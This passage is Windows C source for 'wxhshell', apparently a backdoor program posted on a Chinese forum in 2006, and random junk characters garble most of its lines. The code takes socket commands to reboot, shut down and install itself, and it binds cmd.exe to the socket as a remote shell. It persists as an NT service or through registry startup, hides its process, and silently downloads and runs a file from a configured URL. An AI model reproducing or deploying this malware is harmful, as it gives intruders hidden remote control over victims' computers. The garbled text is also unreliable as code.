  } uE]Z,`e  
  else { LFskNF0X  
TS Ev^u)3  
    switch(cmd[0]) { j`o_Stbg  
  <Crbc$!OeX  
  // 帮助 GL^84[f-T  
  case '?': { #1z/rUh`Cr  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  T1\@4x  
    break; O!U8"Yr$  
  } S%p.|!  
  // 安装 Ds<~JfVl  
  case 'i': { +I>V9%%vW_  
    if(Install()) $[xS>iuD  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r1A<XP|1?I  
    else 49Q tfk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q(9S4F   
    break; Yf?hl  
    } 51Q m2,P1^  
  // 卸载 Q|7$SS6$  
  case 'r': { Zn{Y+ce7d  
    if(Uninstall()) {u (( y D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TCLXO0  
    else 8-u #<D.  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); B4M rrW4=  
    break; 1va~.;/rG  
    } :AYhBhitC  
  // 显示 wxhshell 所在路径 Rh :|ij>B  
  case 'p': { <C<z#M'`  
    char svExeFile[MAX_PATH]; ~#];&WE  
    strcpy(svExeFile,"\n\r"); B~h3naSe  
      strcat(svExeFile,ExeFile); _g2"D[I%  
        send(wsh,svExeFile,strlen(svExeFile),0); *mjPNp'3{m  
    break; (Zz8 ldO  
    } dQQ!QbI(.  
  // 重启 6BdK)s  
  case 'b': { xh:A*ZI=7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); dI?x&#(vw  
    if(Boot(REBOOT)) =3dR-3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *w`_(X f  
    else { s|[CvjL#0  
    closesocket(wsh); w\zNn4B})A  
    ExitThread(0); *w OU=1+  
    } I R|[&}z  
    break; HPc~wX  
    } yBl9a-2A  
  // 关机 |r+w(TG  
  case 'd': { `Iqh\oY8-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s`2q(`}  
    if(Boot(SHUTDOWN)) ( &!RX.i  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); {XEX0|TZ  
    else { 5kik+  
    closesocket(wsh);  &Sdf0"  
    ExitThread(0); .2{*>Dzi  
    } +:kMYL3  
    break; &hcD/*_Z  
    } ;Qi0j<dXd  
  // 获取shell <  UD90}  
  case 's': { re)7h$f}  
    CmdShell(wsh); E"zC6iYZ;  
    closesocket(wsh); {` ByZB  
    ExitThread(0); \#!B*:u  
    break; U62Z ?nge%  
  } {HtW`r1)Tt  
  // 退出 4Ifz-t/  
  case 'x': { .x'?&7#(  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); h7kn >q;  
    CloseIt(wsh); Vj[hT~{f  
    break; f=IF_|@^S  
    } ):]5WHYg  
  // 离开 vyvb-oz;u  
  case 'q': { L]* 5cH  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); D4O^5?F)|  
    closesocket(wsh); )8`i%2i=  
    WSACleanup(); -)Hc^'.  
    exit(1); 8bdx$,$k  
    break; Ei4Iv#Oi`  
        } (_3QZ  
  } ^6QzaC3  
  } `b KJ  
KU^|T2s%  
  // 提示信息 jx#9  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); yioX^`Fc(~  
} )4R[C={  
  } *M-'R*Np  
&fW'_,-  
  return; K]&i9`>N   
} rpUTn!*u/  
.aQ8I1~  
// shell模块句柄 .#}A/V.-Y  
int CmdShell(SOCKET sock) CI1K:K AM  
{ _`lPLBr6  
STARTUPINFO si; +xS<^;   
ZeroMemory(&si,sizeof(si)); ~NTKWRaR  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Zg9VkL6Z6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; CT/>x3o  
PROCESS_INFORMATION ProcessInfo; fRjp(m  
char cmdline[]="cmd"; a$3] `  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); quS]26wQz  
  return 0; c-**~tb(  
} Tm2+/qO,  
*z^Au7,&  
// 自身启动模式 |j4p  
int StartFromService(void) i3cMRcS;  
{ K!8l!FFl  
typedef struct ]sI\.a  
{ \c1>15  
  DWORD ExitStatus; bPIo9clq  
  DWORD PebBaseAddress; '=(D7F;  
  DWORD AffinityMask; 8Oa+,?<0x  
  DWORD BasePriority; @<yYMo7  
  ULONG UniqueProcessId; .I]EP-  
  ULONG InheritedFromUniqueProcessId; %<|cWYM="z  
}   PROCESS_BASIC_INFORMATION; s_3a#I  
7NkMr8[}F  
PROCNTQSIP NtQueryInformationProcess; LbuhKL}VN  
KB {IWu  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C@g/{?\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; YIF|8b\  
aTkMg  
  HANDLE             hProcess; CIVV"p`}  
  PROCESS_BASIC_INFORMATION pbi; oA8A @,-L  
h!`KX2~  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); yQ !keGj  
  if(NULL == hInst ) return 0; N|%X/UjZ2.  
 `7oYXk  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); /m4Y87  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); l{Et:W%|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 8Vy/n^3)  
m95] z18T'  
  if (!NtQueryInformationProcess) return 0; NU"L1dK @  
o(C;;C(*{  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jW{bP_,"  
  if(!hProcess) return 0; XePGOw))O  
eH~T PH  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rP#&WSLVj  
=7EkN% V:{  
  CloseHandle(hProcess); 8Y_lQfJa  
j Y(|z*|  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ]MC5 uKn  
if(hProcess==NULL) return 0; [ #fz [U  
k\RS L  
HMODULE hMod; -XnOj2  
char procName[255]; 4?]s%2U6  
unsigned long cbNeeded; -wVuM.n(Z  
FH{p1_kZ=  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); {{AZW   
sq@c?!'  
  CloseHandle(hProcess); (wvU;u  
q. j$]?PQ  
if(strstr(procName,"services")) return 1; // 以服务启动 C=bQ2t=Z  
U;M !jj  
  return 0; // 注册表启动 Tfx-h)oP3  
} 7eW6$$ju,N  
C}ASVywc,1  
// 主模块 Qjd]BX;  
int StartWxhshell(LPSTR lpCmdLine) Zy|u5J  
{ FD[4?\W]#  
  SOCKET wsl; 8U n0<+b  
BOOL val=TRUE; -C8LM ls  
  int port=0; 3S1{r )[j  
  struct sockaddr_in door; t#%J=zF{  
`~\8fN  
  if(wscfg.ws_autoins) Install(); m}f{o  
!3{. V\P)  
port=atoi(lpCmdLine); d$8K,-M  
u>:j$@56  
if(port<=0) port=wscfg.ws_port; NErvX/qK  
+??pej]Rp  
  WSADATA data; ?O"zp65d(  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^gkKk&~A5?  
Ec^2tx"=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   b}*q*Bq  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 5=Y(.}6  
  door.sin_family = AF_INET; ,(]k)ym/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); .KtK<Ps[S  
  door.sin_port = htons(port); wL}X~Xa3i  
~qX wQ@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )\7Cp-E-W  
closesocket(wsl); 2`> (LH  
return 1; w ~^{V4V  
} or bz`IQc  
-:~z,F  
  if(listen(wsl,2) == INVALID_SOCKET) { hLVgP&/ E  
closesocket(wsl); shO4>Ha  
return 1; \FF|b"E_=  
} ",' Zr<T  
  Wxhshell(wsl); V;Q@' <w  
  WSACleanup(); Wys$#pJ  
fAfB.|cd  
return 0; rV2>;FG  
foB&H;A4oC  
} 5DO}&%.xt  
Vy^mEsQC+h  
// 以NT服务方式启动 @1U6sQ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) D |fo:Xp,  
{ Vt-V'`Y  
DWORD   status = 0; eu?P6>urA  
  DWORD   specificError = 0xfffffff; [{#n?BT  
~M1T @Mv  
  serviceStatus.dwServiceType     = SERVICE_WIN32; HGi%b5:<=M  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; t3C#$ >  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; q^7=/d8  
  serviceStatus.dwWin32ExitCode     = 0; 9$}> O]  
  serviceStatus.dwServiceSpecificExitCode = 0; y<#Hq1  
  serviceStatus.dwCheckPoint       = 0; ;F"Tu  
  serviceStatus.dwWaitHint       = 0; Ga V OMT  
.y0u"@iF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Yv2L0bUo:  
  if (hServiceStatusHandle==0) return; (cI@#x  
_Y$v=!fY&  
status = GetLastError(); <p+7,aE_  
  if (status!=NO_ERROR) RWoVN$i>  
{ R/ x-$VJ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; i8DYC=r  
    serviceStatus.dwCheckPoint       = 0; c{39,oF  
    serviceStatus.dwWaitHint       = 0; ]7RK/Zu i  
    serviceStatus.dwWin32ExitCode     = status; n A%8 bZ+  
    serviceStatus.dwServiceSpecificExitCode = specificError; XpA|<s  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); &)|f|\yh"  
    return; lwo,D}  
  } B B^81{A  
SRU#Y8Xv|  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 1v<uA9A%[  
  serviceStatus.dwCheckPoint       = 0; W .Al\!Gi  
  serviceStatus.dwWaitHint       = 0; V8b^{}nxt  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); u'gsIuRJ  
} ?,C'\8'  
" Lh XR  
// 处理NT服务事件,比如:启动、停止 |/Y!R>El  
VOID WINAPI NTServiceHandler(DWORD fdwControl) l1%*LyD  
{ I*mBU^<9V  
switch(fdwControl) QkLcs6)R  
{ NH1ak(zHW  
case SERVICE_CONTROL_STOP: y5Fgf3P@ju  
  serviceStatus.dwWin32ExitCode = 0; = N:5#A  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .TNJuuO  
  serviceStatus.dwCheckPoint   = 0; Zc*#LsQh.`  
  serviceStatus.dwWaitHint     = 0; ?+$EPaC2  
  { Fl"LK:)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); n@S|^cH  
  } ^ ,[gO#hgz  
  return; };*&;GFe  
case SERVICE_CONTROL_PAUSE: A-eCc#I  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =,&{ &m)  
  break; e'=#G$S?g  
case SERVICE_CONTROL_CONTINUE: W#wC  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; @v.?z2h  
  break; -Byl~n3*D  
case SERVICE_CONTROL_INTERROGATE: J`wx72/-ZW  
  break; APU~y5vG (  
}; pvRa  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9'KOc5@l^  
} =S\pI  
lg 1r]  
// 标准应用程序主函数 8P&z@E{y  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Qr?(2t#  
{ 0.1?hb|p5T  
6*I=% H|  
// 获取操作系统版本 q@Zeu\T,*#  
OsIsNt=GetOsVer(); nzU0=w}V  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 59?$9}ob  
HLh]*tQG  
  // 从命令行安装 lvUWs  
  if(strpbrk(lpCmdLine,"iI")) Install(); 4hn' b[  
RVpo,;:  
  // 下载执行文件 C4|79UG>s  
if(wscfg.ws_downexe) { } OkK@8?0O  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /EL3Tt  
  WinExec(wscfg.ws_filenam,SW_HIDE); ?Uhjyi  
} E clsOBg  
B;Co`o2  
if(!OsIsNt) { AQc9@3T~Bi  
// 如果时win9x,隐藏进程并且设置为注册表启动 :r&4/sN}<  
HideProc(); V<d`.9*}  
StartWxhshell(lpCmdLine); NF7+Gp6?q  
} $@[Mo   
else R5<:3tk=X  
  if(StartFromService()) |lVi* 4za%  
  // 以服务方式启动 vnX~OVz2  
  StartServiceCtrlDispatcher(DispatchTable); 8=mx5Gwz-  
else Nm3CeU  
  // 普通方式启动 \r &(l1R  
  StartWxhshell(lpCmdLine); 'tVe#oI  
XZ/cREz^s  
return 0; GEki34 n0  
}
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只看该作者 1 发表于: 2006-10-10
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